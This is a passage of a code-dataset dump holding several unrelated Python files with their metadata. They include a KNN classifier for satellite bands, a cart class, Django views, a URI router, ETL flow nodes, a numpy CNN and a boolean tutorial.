ArgumentParser()\nparser.add_argument('k_values', metavar='K', nargs='+',\n type=int, help='numero de vecinos (lista)')\nparser.add_argument('-r', '--runs', dest=\"runs\", metavar='N',\n type=int, help='numero de corridas', default=1)\nparser.add_argument('-s', '--show-images', dest=\"show_imgs\",\n action='store_true', help='mostrar imagenes')\nargs = parser.parse_args()\n\ntsize = 1\ndimensions = 512\nwater = 1\nearth = 0\n\n\nclass KNNClassifier():\n def __init__(self, dataset, labels, k):\n self.k_value = k\n self.dataset = dataset\n self.labels = labels\n self.data_length = len(dataset)\n if self.data_length != len(labels):\n raise ValueError(\n \"Los conjuntos de objetos y etiquetas deben tener la misma cardinalidad.\")\n\n def classify(self, x):\n dist = []\n labels = []\n for i in range(self.data_length):\n dist.append((l2(self.dataset[i], x), i))\n dist.sort(key=lambda t: t[0])\n for i in range(self.k_value):\n labels.append(self.labels[dist[i][1]])\n return max(labels, key=labels.count), (labels.count(max(labels, key=labels.count))/self.k_value)*100\n\n\ndef l2(p, q):\n squares_sum = 0.0\n n = len(p)\n if n != len(q):\n raise ValueError(\"La cardinalidad de los objetos debe ser igual.\")\n for i in (i for i in range(n)):\n squares_sum += (p[i] - q[i])**2\n return math.sqrt(squares_sum)\n\n\ndef loadBand(fileurl, data_size, data_dimensions):\n band = []\n with open(fileurl, 'rb') as input_file:\n for x in range(data_dimensions):\n row = []\n for y in range(data_dimensions):\n val = struct.unpack('B', input_file.read(data_size))[0]\n row.append(val)\n band.append(row)\n return np.matrix(band, np.uint8)\n\n\ndef loadTraining(fileurl):\n x_data = []\n y_data = []\n with open(fileurl, 'rt') as input_file:\n for line in input_file:\n tokens = line.strip().split(' ')\n x_data.append([float(x) for x in tokens[:4]])\n y_data.append(float(tokens[4]))\n return x_data, y_data\n\n\ndata = {\n 'b1': loadBand('band1.irs', tsize, dimensions),\n 'b2': loadBand('band2.irs', tsize, dimensions),\n 'b3': loadBand('band3.irs', tsize, dimensions),\n 'b4': loadBand('band4.irs', tsize, dimensions)\n}\n\ndata_set, labels_set = loadTraining('rsTrain.dat')\nfinal_classifiers = []\nclassifier_info = []\n\nfor k in args.k_values:\n best_classifier = None\n accuracies = []\n highest_accuracy = 0\n for r in range(args.runs):\n train_data, test_data, train_labels, test_labels = train_test_split(\n data_set, labels_set, test_size=0.25)\n classifier = KNNClassifier(train_data, train_labels, k)\n\n correct_guesses = 0\n dataset_size = len(test_data)\n for i in range(dataset_size):\n correct_label = test_labels[i]\n guess, certainty = classifier.classify(test_data[i])\n if guess == correct_label:\n correct_guesses += 1\n accuracy = correct_guesses/dataset_size\n if accuracy > highest_accuracy:\n highest_accuracy = accuracy\n best_classifier = classifier\n accuracies.append(accuracy)\n final_classifiers.append(best_classifier)\n accuracies = np.array(accuracies)\n classifier_info.append(\n (highest_accuracy, accuracies.mean(), accuracies.std()))\n\nprint(\"%-15s%-15s%-15s%-s\" % (\"K\", \"Precision\", \"Media\", \"Desv. Estandar.\"))\nfor i in range(len(args.k_values)):\n print(\"%-15i%-15.2f%-15.2f%-.2f\" %\n (args.k_values[i], classifier_info[i][0], classifier_info[i][1], classifier_info[i][2]))\n if args.show_imgs:\n res = np.zeros((dimensions, dimensions), dtype=np.uint8)\n for x in (x for x in range(dimensions)):\n for y in (y for y in range(dimensions)):\n v = np.array([\n data['b1'][y, x],\n data['b2'][y, x],\n data['b3'][y, x],\n data['b4'][y, x]\n ])\n guess, _ = final_classifiers[i].classify(v)\n res[y, x] = (0 if guess == 0 else 255)\n cv2.imshow('K = ' + str(args.k_values[i]), res)\n\nif args.show_imgs:\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n","sub_path":"Patrones/Tarea5/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"33140699","text":"class cart:\n bucket=[]\n def add_item(self,item):\n self.bucket.append(item)\n return True\n def del_item(self,name):\n for f in self.bucket:\n if f.name==name:\n self.bucket.remove(f)\n break\n return True\n def is_empty(self):\n if len(self.bucket)==0:\n return True\n else:\n return False\n def total_amount(self):\n amount=0\n for f in self.bucket:\n amount+=f.price\n return amount\n","sub_path":"Food/Home/cart.py","file_name":"cart.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"379363428","text":"from django.shortcuts import render\nfrom couches import models, choices\n# Create your views here.\n\n\ndef index(request):\n couches = models.Couch.objects.order_by(\n '-list_date').filter(is_published=True)[:3]\n context = {\n 'couches': couches,\n 'price_choices': choices.price_choices,\n 'bedroom_choices': choices.bedroom_choices,\n 'division_choices': choices.division_choices,\n }\n return render(request, 'pages/index.html', context)\n\n\ndef about(request):\n realtors = models.Realtor.objects.order_by('-hire_date')\n\n mvp_realtors = models.Realtor.objects.all().filter(is_mvp=True)\n\n context = {\n 'realtors': realtors,\n 'mvp_realtors': mvp_realtors\n }\n return render(request, 'pages/about.html', context)\n","sub_path":"pages/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"474264273","text":"__all__ = ['Router', 'Route', 'read_property_file', 'strit_string']\n\nSLASH = '/'\n\nclass Router(object):\n\tdef __init__(self, route_strings):\n\t\tself.route_strings = route_strings\n\n\tdef route_for_uri(self, uri):\n\t\tfor route in self.route_strings:\n\t\t\tif route.matches_uri(uri):\n\t\t\t\treturn route\n\t\traise ValueError('No route has been found!')\n\nclass Route(object):\n\tdef __init__(self, route_str):\n\t\tself.route_str = route_str\n\n\tdef matches_uri(self, uri):\n\t\tif self.route_str == SLASH:\n\t\t\treturn uri == SLASH\n\n\t\turi_lst = strit_string(uri)\n\t\troute_lst = strit_string(self.route_str)\n\n\t\tif len(uri_lst) != len(route_lst):\n\t\t\treturn False\n\n\t\tfor index, value in enumerate(route_lst):\n\t\t\tif value != uri_lst[index] and value[0] != '[':\n\t\t\t\treturn False\n\t\treturn True\n\n\t@property\n\tdef template(self):\n\t\ttemplate = ''\n\n\t\tif self.route_str == SLASH:\n\t\t\treturn 'news.html'\n\n\t\ttemplate = self.route_str.strip(SLASH)\n\t\ttemplate = template.replace(SLASH, '-')\n\t\treturn template + '.html'\n\ndef strit_string(string):\n\tif string != SLASH:\n\t\tstring = string.strip(SLASH)\n\t\treturn string.split(SLASH)\n\treturn ['news']\n\ndef read_property_file():\n\tfrom os.path import dirname\n\troutes_lst = []\n\n\tfname = dirname(__file__) + '\\\\routes.conf'\n\tfname = fname.replace('routers', 'conf')\n\n\twith open(fname, 'r') as stream:\n\t\tfor line in stream:\n\t\t\troutes_lst.append(line.rstrip('\\n'))\n\treturn routes_lst\n","sub_path":"app/routers/router.py","file_name":"router.py","file_ext":"py","file_size_in_byte":1375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"339879621","text":"import logging\nfrom cubetl.core import Node\nimport copy\nfrom cubetl.text.functions import parsebool\nfrom cubetl.script import Eval\nfrom posix import fork\nfrom cubetl.core.exceptions import ETLConfigurationException\n\n# Get an instance of a logger\nlogger = logging.getLogger(__name__)\n\n\nclass Chain(Node):\n\n def __init__(self, steps, fork=False, condition=None):\n super().__init__()\n self.steps = steps or []\n self.fork = fork\n self.condition = condition\n\n def initialize(self, ctx):\n super().initialize(ctx)\n for p in self.steps:\n if p is None:\n raise ETLConfigurationException(\"Component %s steps contain a None reference.\" % self)\n ctx.comp.initialize(p)\n\n def finalize(self, ctx):\n for p in self.steps:\n ctx.comp.finalize(p)\n super().finalize(ctx)\n\n def _process(self, steps, ctx, m):\n\n if (len(steps) <= 0):\n yield m\n return\n\n if ctx.debug2:\n logger.debug(\"Processing step: %s\" % (steps[0]))\n\n result_msgs = ctx.comp.process(steps[0], m)\n for m in result_msgs:\n result_msgs2 = self._process(steps[1:], ctx, m)\n for m2 in result_msgs2:\n yield m2\n\n def process(self, ctx, m):\n\n cond = True\n if self.condition:\n cond = parsebool(ctx.interpolate(m, self.condition))\n\n if cond:\n if (not self.fork):\n result_msgs = self._process(self.steps, ctx, m)\n for m in result_msgs:\n yield m\n else:\n logger.debug(\"Forking flow (copying message).\")\n m2 = ctx.copy_message(m)\n result_msgs = self._process(self.steps, ctx, m2)\n count = 0\n for mdis in result_msgs:\n count = count + 1\n\n logger.debug(\"Forked flow end - discarded %d messages\" % count)\n yield m\n else:\n yield m\n\n\nclass Filter(Node):\n\n def __init__(self, condition, message=None):\n super().__init__()\n self.condition = condition\n self.message = message\n\n def process(self, ctx, m):\n\n if (parsebool(ctx.interpolate(m, self.condition))):\n yield m\n else:\n if (self.message):\n logger.info(ctx.interpolate(m, self.message))\n elif (ctx.debug2):\n logger.debug(\"Filtering out message\")\n return\n\n\nclass Skip(Node):\n\n def __init__(self, skip):\n super().__init__()\n self.skip = skip\n self._next_skip = 0\n\n def initialize(self, ctx):\n super().initialize(ctx)\n self.counter = 0\n self._next_skip = 0\n\n def process(self, ctx, m):\n\n self.counter += 1\n if self.counter < self._next_skip:\n # Skip message\n return\n\n self._next_skip = int(ctx.interpolate(m, self.skip))\n self.counter = 0\n\n yield m\n\n\nclass Limit(Node):\n\n def __init__(self, limit):\n super().__init__()\n self.limit = limit\n self.counter = 0\n\n def initialize(self, ctx):\n super().initialize(ctx)\n self.counter = 0\n\n def process(self, ctx, m):\n\n self.counter += 1\n limit = int(ctx.interpolate(m, self.limit))\n\n if self.counter > limit:\n # Skip message\n # TODO: We shall actually break the process flow, signalling backwards (return or yield some constant?)\n return\n\n yield m\n\n\nclass Multiplier(Node):\n \"\"\"\n The multiplier node produces several messages for each incoming message received.\n\n The incoming message is copied before assigning the value to the attribute.\n\n | name | Name of the attribute that will be created in the message.\n | values | A list or comma-separated-string of values to be assigned.\n \"\"\"\n\n name = None\n values = None\n\n def initialize(self, ctx):\n super(Multiplier, self).initialize(ctx)\n\n if (self.name == None):\n raise Exception(\"Iterator field 'name' not set in node %s\" % (self))\n\n if (self.values == None):\n raise Exception(\"Iterator field 'values' not set in node %s\" % (self))\n\n def process(self, ctx, m):\n\n pvalues = self.values\n if (isinstance(pvalues, str)):\n pvalues = ctx.interpolate(m, self.values)\n if (isinstance(pvalues, str)):\n pvalues = [ v.strip() for v in pvalues.split(\",\") ]\n for val in pvalues:\n # Copy message and set value\n if (ctx.debug2):\n logger.debug(\"Multiplying: %s = %s\" % (self.name, val))\n m2 = ctx.copy_message(m)\n m2[self.name] = val\n yield m2\n\n\n\"\"\"\nclass Iterator(Node):\n\n name = None\n values = None\n node = None\n\n def __init__(self):\n\n super(Iterator, self).__init__()\n\n def initialize(self, ctx):\n super(Iterator, self).initialize(ctx)\n ctx.comp.initialize(self.node)\n\n def finalize(self, ctx):\n ctx.comp.finalize(self.node)\n super(Iterator, self).finalize(ctx)\n\n def process(self, ctx, m):\n\n pvalues = self.values\n if (isinstance(pvalues, basestring)):\n pvalues = ctx.interpolate(m, self.values)\n if (isinstance(pvalues, basestring)):\n pvalues = [ v.strip() for v in pvalues.split(\",\") ]\n\n mes = m\n for val in pvalues:\n\n if (ctx.debug2):\n logger.debug(\"Iterating %s = %s\" % (self.name, val))\n\n # Message is not copied as we are iterating over the same message\n mes[self.name] = val\n\n result_msgs = ctx.comp.process(self.node, mes)\n result_msgs = list(result_msgs)\n if len(result_msgs) != 1:\n logger.error(\"No message or more than one message obtained from Iterator node %s (%d messages received)\" % (self, len(result_msgs)))\n mes = result_msgs[0]\n\n yield mes\n\"\"\"\n\n\nclass Union(Node):\n\n steps = None\n\n def __init__(self):\n super(Union, self).__init__()\n self.steps = []\n\n def initialize(self, ctx):\n super(Union, self).initialize(ctx)\n for p in self.steps:\n ctx.comp.initialize(p)\n\n def finalize(self, ctx):\n for p in self.steps:\n ctx.comp.finalize(p)\n super(Union, self).finalize(ctx)\n\n def process(self, ctx, m):\n\n if (len(self.steps) <= 0):\n raise Exception(\"Union with no steps.\")\n\n for step in self.steps:\n m2 = ctx.copy_message(m)\n result_msgs = ctx.comp.process(step, m2)\n for m3 in result_msgs:\n yield m3\n\n\n","sub_path":"cubetl/flow/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"560730440","text":"from cat.util import *\n\n\ndef init(weight_scale, num_filters, num_classes, filter_size, test):\n C, H, W = test.shape\n W1 = weight_scale * np.random.randn(num_filters, C, filter_size, filter_size)\n b1 = np.zeros(num_filters)\n W2 = weight_scale * np.random.randn(int(num_filters * H * W / 4), 20)\n b2 = np.zeros(20)\n W3 = weight_scale * np.random.randn(20, num_classes)\n b3 = np.zeros(num_classes)\n return W1, b1, W2, b2, W3, b3\n\n\ndef cnn(x,y,W1, b1, W2, b2, W3, b3, filter_size, reg):\n # conv1\n pad = int((filter_size - 1) / 2) # s=1 时,p = (f-1)/2\n stride = 1\n cache1 = {\"a\": x, \"w\": W1, \"b\": b1, \"pad\": pad, \"stride\": stride}\n cv1 = conv_fun(cache1)\n net = Relu(cv1)\n print(\"卷积后的形状:\",net.shape)\n\n # poool1\n HH, WW, s = 2, 2, 2\n cache_pool = {\"cv\": cv1, \"net\": net, \"HH\": HH, \"WW\": WW, \"s\": s}\n a1 = max_pool_forward(cache_pool)\n cache2 = {\"a\": a1, \"w\": W2, \"b\": b2}\n print(\"池化后的形状:\",a1.shape)\n # fc2\n f1 = fc(a1, W2, b2)\n a2 = Relu(f1)\n cache3 = {\"a\": a2, \"w\": W3, \"b\": b3}\n # fc3\n scores = fc(a2, W3, b3)\n # bp\n data_loss, dscores = softmax_loss(scores, y) # 损失值 分类结果\n da2, dW3, db3 = fc_backward(dscores, cache3)\n da1, dW2, db2 = fc_relu_backward(da2, f1, cache2)\n dX, dW1, db1 = conv_relu_pool_backward(da1, cache1, cache_pool)\n\n # 添加正则项的导数 1/2*reg*(w)^2-->w\n dW1 += reg * W1\n dW2 += reg * W2\n dW3 += reg * W3\n\n reg_loss = 0.5 * reg * sum(np.sum(W * W) for W in [W1, W2, W3])\n loss = data_loss + reg_loss\n grads = {'W1': dW1, 'b1': db1, 'W2': dW2, 'b2': db2, 'W3': dW3, 'b3': db3}\n return loss,grads\n\ndef fpp(x,y,params, filter_size):\n W1, b1, W2, b2, W3, b3 = params[\"W1\"], params[\"b1\"], params[\"W2\"], params[\"b2\"], params[\"W3\"], params[\"b3\"]\n pad = int((filter_size - 1) / 2) # s=1 时,p = (f-1)/2\n stride = 1\n cache1 = {\"a\": x, \"w\": W1, \"b\": b1, \"pad\": pad, \"stride\": stride}\n cv1 = conv_fun(cache1)\n net = Relu(cv1)\n HH, WW, s = 2, 2, 2\n cache_pool = {\"cv\": cv1, \"net\": net, \"HH\": HH, \"WW\": WW, \"s\": s}\n a1 = max_pool_forward(cache_pool)\n f1 = fc(a1, W2, b2)\n a2 = Relu(f1)\n scores = fc(a2, W3, b3)\n data_loss, dscores = softmax_loss(scores, y) # 损失值 分类结果\n return dscores\n\ndef check_accuracy(X, y, params,filter_size ):\n scores = fpp(X,y,params,filter_size)\n y_pred = np.argmax(scores, axis=1)\n count = 0\n # print(y_pred)\n # print(y)\n for i in range(len(y)):\n if y_pred[i]==y[i]:\n count +=1\n acc = count/len(y)\n return acc\n","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"454187403","text":"# a boolean is a datatype that can have a value of True or False\nthe_sun_is_up = True\nthe_sun_is_blue = False\n\nprint(the_sun_is_blue)\n\n#Produce a boolean result using comparison operators\nx = 42 > 43\nprint(x)\n\n### COMPARISON OPERATORS (Symbol operation)\n# < less than\n# > Greater than\n# <= less than or equal to\n# >= Greater than or equal to \n# == Equal to \n# != Not equal to \n\n### LOGICAL OPERATORS (Keyword operation)\n# and Evaluates if both sides are True\n# or Evaluates if at least one side is true \n# not Inverse a boolean type\n\nage = 14\nis_teen = age > 12 and age <20\nnot_teen = not(age > 12 and age <20)\nprint(\"Is Teen : \", is_teen)\nprint(\"Is Not Teen : \", not_teen) # inverses the statement","sub_path":"LESSON 1 DATATYPES AND OPERATORS/l03 boolean and comparison operators/001bool.py","file_name":"001bool.py","file_ext":"py","file_size_in_byte":779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}